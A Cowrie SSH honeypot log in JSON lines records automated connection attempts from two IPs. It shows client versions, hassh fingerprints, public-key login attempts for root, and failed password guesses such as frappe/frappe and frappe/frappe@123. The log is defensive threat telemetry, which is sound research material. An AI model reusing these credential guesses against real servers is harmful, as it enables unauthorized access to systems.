{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:10:58.839423Z","src_ip":"83.168.110.85","session":"15d12d27de4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":58960,"dst_ip":"159.203.135.109","dst_port":22,"session":"ed5b03d6dec8","protocol":"ssh","message":"New connection: 83.168.110.85:58960 (159.203.135.109:22) [session: ed5b03d6dec8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:11:07.620233Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:11:07.625334Z","src_ip":"83.168.110.85","session":"ed5b03d6dec8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:11:07.746485Z","src_ip":"83.168.110.85","session":"ed5b03d6dec8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.120.230.72","src_port":45962,"dst_ip":"10.17.0.5","dst_port":22,"session":"97c1eea2ef25","protocol":"ssh","message":"New connection: 194.120.230.72:45962 (10.17.0.5:22) [session: 97c1eea2ef25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:11:07.873492Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:11:07.878037Z","src_ip":"194.120.230.72","session":"97c1eea2ef25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:11:07.966514Z","src_ip":"194.120.230.72","session":"97c1eea2ef25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe","message":"login attempt [frappe/frappe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:11:08.110490Z","src_ip":"83.168.110.85","session":"ed5b03d6dec8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d3:1f:a0:31:b1:7d:f8:05:e8:1d:1d:fc:6a:2b:73:93","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxQ1ulIr8XkNHPHuK2QbWbgYhMnf0Ohi6zapYZS2cPgJuYodY+z5j1WGgzZ5hk3YVR/SK2yck2WIqyuTXIW0sjacMAbGPs4DQa4Y8bMyhmJKWgoEHTSDgKg3fefN2sq9W8v0UHM6pH/bvxKxYIgMb+86GOry7WXprm17Ci6XQjbnKpPwrMp5hyOakI+IZfURG9XjmasAWxi32W9lcEizN3Z/Pf515A8fZkclAG36aKND+xeDS0eLZ3E8Wrr3mQrejRFzCqvy5VxIc7zQScfcKabbzOtqqEynkiwjnaITfFJc41I9T8XBkKlWGiof2zwRM3FuSL7g6cn8PPi053TH/J","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d3:1f:a0:31:b1:7d:f8:05:e8:1d:1d:fc:6a:2b:73:93","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:11:08.386598Z","src_ip":"194.120.230.72","session":"97c1eea2ef25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d3:1f:a0:31:b1:7d:f8:05:e8:1d:1d:fc:6a:2b:73:93","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxQ1ulIr8XkNHPHuK2QbWbgYhMnf0Ohi6zapYZS2cPgJuYodY+z5j1WGgzZ5hk3YVR/SK2yck2WIqyuTXIW0sjacMAbGPs4DQa4Y8bMyhmJKWgoEHTSDgKg3fefN2sq9W8v0UHM6pH/bvxKxYIgMb+86GOry7WXprm17Ci6XQjbnKpPwrMp5hyOakI+IZfURG9XjmasAWxi32W9lcEizN3Z/Pf515A8fZkclAG36aKND+xeDS0eLZ3E8Wrr3mQrejRFzCqvy5VxIc7zQScfcKabbzOtqqEynkiwjnaITfFJc41I9T8XBkKlWGiof2zwRM3FuSL7g6cn8PPi053TH/J","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:11:08.390239Z","src_ip":"194.120.230.72","session":"97c1eea2ef25","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b4:69:8a:40:81:87:ce:be:65:67:09:40:00:47:c1:77","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC2Jpg8HQ4nnJyLsjAukbnppkB8B1fhlAUCOqZGPghidGY0ZYOBSpk48K3hiNpX+IBlqunpCzcCh8wTidVUBuHN2By0C8+Rz+9Pul/UMpH4V2STtD+Suvc9ICKKYxXhAwZ/R2260CZePNYZti053gPkQLnIv0EPvzbVgZgZQ3hdx5W1my9FbiB9e9pRq/8yCwTDMffUMF/2OR1YIK7Cqy6GRaRyGDCTC//Ps1DyY5DPzEPMHEHqONINiqGiQL5nuWGxjGNA0FOvvY7krL4b8SO20AQYvmbQQ7MYwtnUirL+OI2wvedIL2wOIiq9rnwEmnM5o4BxQ9zIyfUDxLrhjHRJAJD7Jldi61Qo4CNmfEpJsSH6l1BKBe9oQeNRelwcLLi/dDBAqukPO76Uy5v8V9EU6N6qhOrN8K5U2A4CJGrwkQ47Cd6GXVf/dWtd5EhzSSrJQW732P1C4xvBMuLThN7b8/c+j9jIYU5opZ+EOqzNcs0d4D8EmQOtVHQhpcd5JuYWNS/9EYwgt7xD/46VAq1C1Ni4WPCk6K1Tzwo34wnER5D+YAdm4+KObEf6Mqx6BlB5zNyVjALa1HmPKfnjzooj/ixJ9qJJ+iLcHwCBsbFRoEeb4HlWG9BwLJWbuoq1OVjcfslkEUKEn7+/tCN0yCZJtBKns6U8QAqag2gYHB6twQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b4:69:8a:40:81:87:ce:be:65:67:09:40:00:47:c1:77","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:11:08.479281Z","src_ip":"194.120.230.72","session":"97c1eea2ef25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b4:69:8a:40:81:87:ce:be:65:67:09:40:00:47:c1:77","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC2Jpg8HQ4nnJyLsjAukbnppkB8B1fhlAUCOqZGPghidGY0ZYOBSpk48K3hiNpX+IBlqunpCzcCh8wTidVUBuHN2By0C8+Rz+9Pul/UMpH4V2STtD+Suvc9ICKKYxXhAwZ/R2260CZePNYZti053gPkQLnIv0EPvzbVgZgZQ3hdx5W1my9FbiB9e9pRq/8yCwTDMffUMF/2OR1YIK7Cqy6GRaRyGDCTC//Ps1DyY5DPzEPMHEHqONINiqGiQL5nuWGxjGNA0FOvvY7krL4b8SO20AQYvmbQQ7MYwtnUirL+OI2wvedIL2wOIiq9rnwEmnM5o4BxQ9zIyfUDxLrhjHRJAJD7Jldi61Qo4CNmfEpJsSH6l1BKBe9oQeNRelwcLLi/dDBAqukPO76Uy5v8V9EU6N6qhOrN8K5U2A4CJGrwkQ47Cd6GXVf/dWtd5EhzSSrJQW732P1C4xvBMuLThN7b8/c+j9jIYU5opZ+EOqzNcs0d4D8EmQOtVHQhpcd5JuYWNS/9EYwgt7xD/46VAq1C1Ni4WPCk6K1Tzwo34wnER5D+YAdm4+KObEf6Mqx6BlB5zNyVjALa1HmPKfnjzooj/ixJ9qJJ+iLcHwCBsbFRoEeb4HlWG9BwLJWbuoq1OVjcfslkEUKEn7+/tCN0yCZJtBKns6U8QAqag2gYHB6twQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:11:08.482937Z","src_ip":"194.120.230.72","session":"97c1eea2ef25","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f6:71:06:75:60:d9:1b:55:47:ce:80:a7:60:a8:e6:86","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCoEJt81IFHESP6sNrgOmUfgcUbm7I5B8p6r/L+LbItTO1PXrD3na+sYbJO0POLSD5nkMEOcJGFWuqpr0zs9+hWtvnnL7ZG16JHwblwwU6Cy8dsP51gdcXPBmbc7Te8xJxMNAKXFqpGm7GNhC9SLinSyRb0mbN22Rz+6hDFxPouMXP02uVAE2IC27NryLxbAfSZ68Hn8lkdqu1auw5yZvBYaUTg52zNTHL6lqwIVdWE3MYz8WPkQzRfkRLiTU77icakXDrj/8x8VAfOFBD3tSxYbTa7fcPKkimdD5If7muIjcp6D0v9U+DHNRtBpdqKrhwOVRs2dafg4knIwgsuG3kl/ThNLfVI6WcXOe/mIr+tTCFX4VhgSswID7MRdu+6BoBLbzF1l7sV+irvOQKKWo0zLDLp/r7YhUAvhc7lfPIgbSqF9OauwJbwjZCnArv5TCldmdMuVefXTZE3SBJNOK8xOSlH2hO9ZCHMVxtUzxJrvoYIxxmuOCRohfURQPRy2AP6B8KxcnZyvSHoBypymh+bW3phUnN4Yooa6jNlzgzDCu7beoj/nYIbb7AoKHu/+wVsoKjF9kDYmGK+bf3+Ofsi5AVQhNiD3lLDGC6htPSQ2NRCaTj7Hweq6w4N5KYln2hRlWwuIA8QmTv6sDjbonSnMt/srd6sQXuLCwp8nuzlSQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f6:71:06:75:60:d9:1b:55:47:ce:80:a7:60:a8:e6:86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:11:08.571877Z","src_ip":"194.120.230.72","session":"97c1eea2ef25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f6:71:06:75:60:d9:1b:55:47:ce:80:a7:60:a8:e6:86","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCoEJt81IFHESP6sNrgOmUfgcUbm7I5B8p6r/L+LbItTO1PXrD3na+sYbJO0POLSD5nkMEOcJGFWuqpr0zs9+hWtvnnL7ZG16JHwblwwU6Cy8dsP51gdcXPBmbc7Te8xJxMNAKXFqpGm7GNhC9SLinSyRb0mbN22Rz+6hDFxPouMXP02uVAE2IC27NryLxbAfSZ68Hn8lkdqu1auw5yZvBYaUTg52zNTHL6lqwIVdWE3MYz8WPkQzRfkRLiTU77icakXDrj/8x8VAfOFBD3tSxYbTa7fcPKkimdD5If7muIjcp6D0v9U+DHNRtBpdqKrhwOVRs2dafg4knIwgsuG3kl/ThNLfVI6WcXOe/mIr+tTCFX4VhgSswID7MRdu+6BoBLbzF1l7sV+irvOQKKWo0zLDLp/r7YhUAvhc7lfPIgbSqF9OauwJbwjZCnArv5TCldmdMuVefXTZE3SBJNOK8xOSlH2hO9ZCHMVxtUzxJrvoYIxxmuOCRohfURQPRy2AP6B8KxcnZyvSHoBypymh+bW3phUnN4Yooa6jNlzgzDCu7beoj/nYIbb7AoKHu/+wVsoKjF9kDYmGK+bf3+Ofsi5AVQhNiD3lLDGC6htPSQ2NRCaTj7Hweq6w4N5KYln2hRlWwuIA8QmTv6sDjbonSnMt/srd6sQXuLCwp8nuzlSQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:11:08.577608Z","src_ip":"194.120.230.72","session":"97c1eea2ef25","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fd:f6:8f:cf:f6:69:f7:16:dc:ae:07:bc:b3:67:25:59","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDQ4oczp+62VlnyP08aBN1m/w2tSf9qe4rzD26pMHE0+E0LxQOf/HJD4qJCZ6ngCv4WoP8HAnMfMYv8MCQX3oHn5PGT/EgNm5RvOpsy4DmCLqT5iHGmqEEAGwjPJejY0SkuloLJvu3zs7IDdP3zZ3eTNY91Qh+vrstasGQcrmFaSVXk0IGgTgrwbugYTjmSeZ/sicMhWd2CWOvHMGNviYFwUNPkpOqKCfQaF+WiFI2aq+y5AKgl9i05Ru1gA15yV4OFX792iW0ED9qNcVk50CeS81n/VZ1PstfRm2GV1TcuQ1ZqT5aJJpjNbbEf5dQS29aofl+Dov58Ro0B4nazozqbf6Q5eeAGyqk0clEr/ttl44bf3gYpM2qQqE67v2+fGfycAYz6Yg5mMe014B3W9i09ecnuCMtSfLLLxrtw3K+AS9UVa7q1YJ4BS/8wf3ndFiLA4NWzCWGOYVJ+y69TGv5iC/YjPRx1MNOBMxDV7um1kIStymALDSTDymskx9oRt8+UQTIun8yQw+P8REPJDh9tjtTo/vmwKpcjM4Jk5LUeggIfBS9yXFOPMhT+QSbN5JIAItGn3lMqryNJweke9QjuqZjRfYpbxtjgxUaDvF7QQWQXZguaCwZ87+BHI+CTUk7KvrcnvWsjxRs/beBPLc2O2WHKFXwE8IpgoyTYaPvAxw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fd:f6:8f:cf:f6:69:f7:16:dc:ae:07:bc:b3:67:25:59","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:11:08.667651Z","src_ip":"194.120.230.72","session":"97c1eea2ef25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fd:f6:8f:cf:f6:69:f7:16:dc:ae:07:bc:b3:67:25:59","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDQ4oczp+62VlnyP08aBN1m/w2tSf9qe4rzD26pMHE0+E0LxQOf/HJD4qJCZ6ngCv4WoP8HAnMfMYv8MCQX3oHn5PGT/EgNm5RvOpsy4DmCLqT5iHGmqEEAGwjPJejY0SkuloLJvu3zs7IDdP3zZ3eTNY91Qh+vrstasGQcrmFaSVXk0IGgTgrwbugYTjmSeZ/sicMhWd2CWOvHMGNviYFwUNPkpOqKCfQaF+WiFI2aq+y5AKgl9i05Ru1gA15yV4OFX792iW0ED9qNcVk50CeS81n/VZ1PstfRm2GV1TcuQ1ZqT5aJJpjNbbEf5dQS29aofl+Dov58Ro0B4nazozqbf6Q5eeAGyqk0clEr/ttl44bf3gYpM2qQqE67v2+fGfycAYz6Yg5mMe014B3W9i09ecnuCMtSfLLLxrtw3K+AS9UVa7q1YJ4BS/8wf3ndFiLA4NWzCWGOYVJ+y69TGv5iC/YjPRx1MNOBMxDV7um1kIStymALDSTDymskx9oRt8+UQTIun8yQw+P8REPJDh9tjtTo/vmwKpcjM4Jk5LUeggIfBS9yXFOPMhT+QSbN5JIAItGn3lMqryNJweke9QjuqZjRfYpbxtjgxUaDvF7QQWQXZguaCwZ87+BHI+CTUk7KvrcnvWsjxRs/beBPLc2O2WHKFXwE8IpgoyTYaPvAxw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:11:08.671444Z","src_ip":"194.120.230.72","session":"97c1eea2ef25","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"70:7e:57:e9:cd:30:23:c7:41:c3:93:83:73:0d:16:ce","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCXR4cm70YPHXH+bFossy7CS0m+Iqu8eHeagd1uQDS4iY5JlvhXSAxRiOvo/LJfCUmRJ4QRxnQFju3NhyZCqO2vIdax3CR45PlDe/VwyKfBMbG/bHH4gICQJZHA+jIqxb2MRHXhgcYJjdS0Sh4PEAZE0EBpT+YJ0GnYxNk/zGpEWpI5VF0jPvmGE0qL2wY0rnSPihWiSnR8dctc+Bw1yFw9qlzxrKs9z0iZY9J6v5lr4YsZ3NhiMsFQenZJWE/p6bFD8AoUzPmRXBGWgdlywk4rS5SdN6X5H6a+WolwRvLEwPKUp2Y7k0w8B4mejnWl0KhXzt1wA+ltzot9YVehAJZUI2z6IHU0+WsmG99DhPIfciQsPAKOiuRAGik6okq9LrNXGsJR8kQwnRqcONKjT+QsljF0xo7kPhWIkftQnZtADn77VF9imvQfj3qXDqw8tkJwycloI5Jk7U756GBX5Ez+U7iAPTNSz/yMx3KJDJqVfuvR34+Qana8PGhKuEgL+5Xbelb7id+bgjpvyGrwSxSgryovDyXgyvERFK+vZEyQAJ0HvQ64vw8m8w4Uv1Mkj241Bg2j/beTQR9lbVPiUNfZa6iq9ii8lo+iDQplf5MPQXt6iPu/udkuj4vVh0NnsNx3wRGymuXpkG1ArPE6M/AL48QhltwPW0Ouor1wFXFBgw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 70:7e:57:e9:cd:30:23:c7:41:c3:93:83:73:0d:16:ce","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:11:08.763090Z","src_ip":"194.120.230.72","session":"97c1eea2ef25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"70:7e:57:e9:cd:30:23:c7:41:c3:93:83:73:0d:16:ce","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCXR4cm70YPHXH+bFossy7CS0m+Iqu8eHeagd1uQDS4iY5JlvhXSAxRiOvo/LJfCUmRJ4QRxnQFju3NhyZCqO2vIdax3CR45PlDe/VwyKfBMbG/bHH4gICQJZHA+jIqxb2MRHXhgcYJjdS0Sh4PEAZE0EBpT+YJ0GnYxNk/zGpEWpI5VF0jPvmGE0qL2wY0rnSPihWiSnR8dctc+Bw1yFw9qlzxrKs9z0iZY9J6v5lr4YsZ3NhiMsFQenZJWE/p6bFD8AoUzPmRXBGWgdlywk4rS5SdN6X5H6a+WolwRvLEwPKUp2Y7k0w8B4mejnWl0KhXzt1wA+ltzot9YVehAJZUI2z6IHU0+WsmG99DhPIfciQsPAKOiuRAGik6okq9LrNXGsJR8kQwnRqcONKjT+QsljF0xo7kPhWIkftQnZtADn77VF9imvQfj3qXDqw8tkJwycloI5Jk7U756GBX5Ez+U7iAPTNSz/yMx3KJDJqVfuvR34+Qana8PGhKuEgL+5Xbelb7id+bgjpvyGrwSxSgryovDyXgyvERFK+vZEyQAJ0HvQ64vw8m8w4Uv1Mkj241Bg2j/beTQR9lbVPiUNfZa6iq9ii8lo+iDQplf5MPQXt6iPu/udkuj4vVh0NnsNx3wRGymuXpkG1ArPE6M/AL48QhltwPW0Ouor1wFXFBgw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:11:08.769002Z","src_ip":"194.120.230.72","session":"97c1eea2ef25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:11:08.858656Z","src_ip":"194.120.230.72","session":"97c1eea2ef25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:11:09.295794Z","src_ip":"83.168.110.85","session":"ed5b03d6dec8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":36218,"dst_ip":"159.203.135.109","dst_port":22,"session":"b07837c7b8ec","protocol":"ssh","message":"New connection: 83.168.110.85:36218 (159.203.135.109:22) [session: b07837c7b8ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:11:18.254072Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:11:18.258795Z","src_ip":"83.168.110.85","session":"b07837c7b8ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:11:18.379843Z","src_ip":"83.168.110.85","session":"b07837c7b8ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe@123","message":"login attempt [frappe/frappe@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:11:18.744615Z","src_ip":"83.168.110.85","session":"b07837c7b8ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:11:19.929641Z","src_ip":"83.168.110.85","session":"b07837c7b8ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":45490,"dst_ip":"159.203.135.109","dst_port":22,"session":"36e3e0e76caa","protocol":"ssh","message":"New connection: 83.168.110.85:45490 (159.203.135.109:22) [session: 36e3e0e76caa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:11:28.444938Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:11:28.449914Z","src_ip":"83.168.110.85","session":"36e3e0e76caa","protocol":"ssh"}
